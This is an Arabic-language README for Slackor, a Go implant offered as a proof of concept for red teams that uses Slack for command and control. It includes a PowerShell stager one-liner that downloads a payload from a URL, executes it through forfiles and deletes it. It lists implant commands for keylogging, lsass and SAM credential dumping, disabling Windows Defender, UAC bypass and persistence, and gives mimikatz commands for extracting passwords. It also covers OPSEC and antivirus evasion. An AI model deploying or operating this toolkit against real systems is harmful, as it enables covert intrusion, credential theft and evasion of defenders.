Slackor #

يُحافظ عليه في https://github.com/n00py/Slackor

أداة خفية (implant) بلغة Go تستخدم Slack كقناة للتحكم والأوامر.

هذا المشروع مستوحى من Gcat و Twittor.

تم إصدار هذه الأداة كإثبات للمفهوم. تأكد من قراءة وفهم سياسة مطوري تطبيقات Slack قبل إنشاء أي تطبيقات Slack.

الإعداد

ملاحظة: الخادم مكتوب بلغة Python 3

لكي يعمل هذا تحتاج إلى:

• مساحة عمل Slack

• سجل تطبيقًا مع الأذونات التالية:

  • channels:read
  • channels:history
  • channels:write
  • files:write:user
  • files:read

• أنشئ بوتًا

يحتوي هذا المستودع على خمسة ملفات:

• install.sh يقوم بتثبيت التبعيات
• setup.py البرنامج النصي لإنشاء قنوات Slack وقاعدة البيانات والأداة الخفية
• agent.py برنامج نصي لتوليد أدوات خفية جديدة
• server.py خادم Slackor، مصمم للتشغيل على Linux
• agent.go الأداة الخفية بلغة Go
• requirements.txt تبعيات Python (تُثبت تلقائيًا)

للبدء:

• go get github.com/Coalfire-Research/Slackor
• cd $GOPATH/src/github.com/Coalfire-Research/Slackor
• شغّل install.sh
• شغّل setup.py
  • قم بتوفير OAuth Access Token و Bot User OAuth Access Token من تطبيقك

بعد تشغيل البرنامج النصي بنجاح، سيتم إنشاء عدة ملفات في الدليل dist/:

• agent.windows.exe: ملف ثنائي Windows 64-bit
• agent.upx.exe: ملف ثنائي Windows 64-bit، مضغوط بـ UPX
• agent.darwin: ملف ثنائي macOS 64-bit
• agent.32.linux: ملف ثنائي Linux 32-bit
• agent.64.linux: ملف ثنائي Linux 64-bit

بعد بدء server.py على جهاز Linux، قم بتنفيذ أي أداة خفية مناسبة لجهازك الهدف.

شغّل وحدة "stager" لتوليد أمر سطر واحد ومُسقطات أخرى.

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

سيقوم هذا بتنفيذ InvokeWebRequest (PS v.3+) لتحميل الحمولة، وتنفيذها باستخدام LOLBin، ثم حذف نفسها عند إيقافها. هذا مثال عملي لكن يمكن تعديل الأمر لاستخدام طريقة تحميل أو تنفيذ أخرى.

الاستخدام

اكتب "help" أو اضغط [TAB] لرؤية قائمة الأوامر المتاحة. اكتب "help [COMMAND]" لرؤية وصف ذلك الأمر.

(Slackor)

• help - يعرض قائمة المساعدة
• interact - التفاعل مع أداة خفية
• list - عرض جميع الأدوات الخفية المسجلة
• remove - قتل وإزالة أداة خفية
• revive - إرسال إشارة لجميع الأدوات الخفية لإعادة التسجيل مع الخادم
• stager - توليد أمر سطر واحد لتحميل وتنفيذ الأداة الخفية
• quit - إنهاء البرنامج
• wipefiles - حذف جميع الملفات المرفوعة من Slack

بمجرد تسجيل أداة خفية، يمكنك التفاعل معها. استخدم "interact [AGENT] للدخول إلى موجه الأداة الخفية. اكتب "help" أو اضغط [TAB] لرؤية قائمة الأوامر المتاحة.

(Slackor:AGENT)

• الأوامر الشائعة
  • back - العودة إلى القائمة الرئيسية
  • beacon - تغيير المدة الزمنية بين كل تسجيل دخول لأداة خفية (الافتراضي هو 5 ثوانٍ)
  • download - تحميل ملف من الأداة الخفية إلى خادم Slackor
  • help - يعرض قائمة المساعدة
  • kill - قتل الأداة الخفية
  • sleep - جعل الأداة الخفية تنتظر مرة واحدة (أدخل الوقت بالثواني)
  • sysinfo - يعرض المستخدم الحالي، إصدار نظام التشغيل، بنية النظام، وعدد أنوية المعالج
  • upload - رفع ملف إلى الأداة الخفية من خادم Slackor
  • wget - سحب ملفات عشوائية عبر HTTP/HTTPS
• أوامر Windows
  • bypassuac - محاولة إنشاء أداة خفية بصلاحية عالية
  • cleanup - إزالة آثار الثبات
  • clipboard - استرداد محتويات الحافظة
  • defanger - محاولة تعطيل Windows Defender
  • duplicate - جعل الأداة الخفية تستدعي نسخة أخرى من نفسها
  • getsystem - إنشاء أداة خفية كـ NTAUTHORITY/SYSTEM
  • keyscan - بدء مسجل ضغطات المفاتيح على الأداة الخفية
  • minidump - تفريغ الذاكرة من lsass.exe وتنزيلها
  • persist - إنشاء ثبات عن طريق زرع ملف ثنائي في تدفق بيانات بديل (ADS)
  • samdump - محاولة تفريغ ملف SAM لاستخراج التجزئات دون اتصال
  • screenshot - أخذ لقطة شاشة لسطح المكتب واستردادها
  • shellcode - تنفيذ كود شيل خام x64
• أوامر Mac
• أوامر Linux
  • screenshot - أخذ لقطة شاشة لسطح المكتب واستردادها

اعتبارات OPSEC

مخرجات الأوامر والملفات التي تم تنزيلها مشفرة باستخدام AES بالإضافة إلى تشفير النقل TLS الخاص بـ Slack.

ستحذرك الوحدات قبل تنفيذ مهام تكتب على القرص.

عند تنفيذ أوامر شيل، لاحظ أن cmd.exe/bash سيتم تنفيذها. قد تتم مراقبة ذلك على الجهاز.

فيما يلي عدة أوامر آمنة من ناحية OPSEC لن تنفذ cmd.exe/bash:

• cat - طباعة محتوى الملف
• cd - تغيير الدليل
• find - البحث في أسماء الملفات داخل الدليل
• getip - الحصول على عنوان IP الخارجي (يقوم بطلب DNS)
• hostname - عرض اسم المضيف
• ifconfig - عرض معلومات الواجهات
• ls - عرض محتويات الدليل
• mkdir - إنشاء دليل
• pwd - طباعة دليل العمل الحالي
• rm - إزالة ملف
• rmdir - إزالة دليل
• whoami / getuid - طباعة المستخدم الحالي

الإسنادات

• https://github.com/EgeBalci - دوال مأخوذة من HERCULES و EGESPLOIT
• https://github.com/SaturnsVoid - مسجل ضغطات مفاتيح مأخوذ من GoBot2
• https://github.com/vyrus001 - تنفيذ كود شيل x64 shellGo
• دوال تشفير مأخوذة من https://www.golang123.com/topic/1686
• فكرة الثبات من Enigma0x3
• Minidump مأخوذ من Merlin، مع الشكر لـ C-Sto
• كود لقطة الشاشة من kbinani
• كود الحافظة من atotto
• مولد الـ stager من hlldz
• تجاوز UAC بواسطة winscripting.blog
• العثور على Lulzbin بواسطة @vector_sec
• عدد لا يحصى من النقاشات على StackOverflow
• شكر لـ impacket لتفريغ التجزئات من خلايا SAM/SYS/SECURITY في السجل.
• استخراج بيانات الاعتماد من تفريغ LSASS أصبح ممكنًا باستخدام pypykatz بواسطة skelsec
• بوب أمان (Sporkmonger) للإضافات المختلفة

الأهداف المستقبلية

• DOSfuscation
• تحميل DLL/PE بشكل انعكاسي - https://github.com/vyrus001/go-mimikatz
• تنفيذ تجميعات C# في الذاكرة - https://github.com/lesnuages/go-execute-assembly
• إبهام كود المصدر https://github.com/unixpickle/gobfuscate

الأسئلة الشائعة:

هل هذا آمن للاستخدام في فرق الاختراق (red teams) أو اختبار الاختراق؟

نعم، بشرط بعض الشروط. بينما البيانات مشفرة أثناء النقل، تحتوي الأداة الخفية على مفتاح فك التشفير. أي شخص يحصل على نسخة من الأداة الخفية يمكنه هندستها عكسيًا واستخراج مفاتيح API والمفتاح السري AES. أي شخص يخترق أو يحصل على الوصول إلى مساحة العمل سيكون قادرًا على استرداد جميع البيانات الموجودة فيها. لهذا السبب، لا يُنصح بإعادة استخدام البنية التحتية ضد مؤسسات متعددة.

ماذا عن Mimikatz؟

الأداة الخفية لا تحتوي على وظيفة تفريغ كلمات المرور من الذاكرة. إذا كنت بحاجة إلى logonPasswords، يمكنك تجربة ما يلي:

(Slackor: AGENT)minidump

سيقوم هذا تلقائيًا باستخراج كلمات المرور باستخدام Pypykatz. بدلاً من ذلك، يمكنك استخدام Mimikatz على Windows.

>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

هل هو متعدد المنصات؟

لديه دعم محدود للمنصات المتعددة. لم يتم اختباره بالكامل على جميع الأنظمة التي يمكن تشغيله عليها. تم تصميم الخادم للتشغيل على Kali Linux. تم تجميع الأداة الخفية لأنظمة Windows و Mac و Linux، لكن تم اختباره بشكل أساسي مع Windows 10. قد تتعامل الأدوات الخفية بشكل خاطئ مع الأوامر غير المدعومة على منصة تلك الأداة (لا تحاول عمل minidump على Mac).

ما مدى قابلية التوسع؟

قابلية التوسع محدودة بواسطة Slack API. إذا كان لديك عدة أدوات خفية، فكر في زيادة فترة الإشارة (beacon interval) للأدوات غير المستخدمة.

هل هو عرضة لتحليل الإشارات القياسي؟

حاليًا، كل إشارة تحتوي على 20% من التشتيت (jitter) المدمج، ويمكن تخصيص أوقات الإشارات. ستكون حزم طلب واستجابة تسجيل الدخول بنفس الحجم تقريبًا كل مرة طالما لم يتم استلام أوامر جديدة.

لماذا فعلت [x] بينما هناك طريقة أفضل [y]؟

لقد بذلت قصارى جهدي. الـ PRs مرحب بها :)

يتم اكتشافه بواسطة برامج مكافحة الفيروسات!

مع كونه مفتوح المصدر الآن، من المحتم أن يواجه مشاكل. سأقوم بإصلاح الوحدات قدر استطاعتي لكن لا يوجد ضمان بأن ذلك سيتجاوز جميع برامج مكافحة الفيروسات في جميع الأوقات.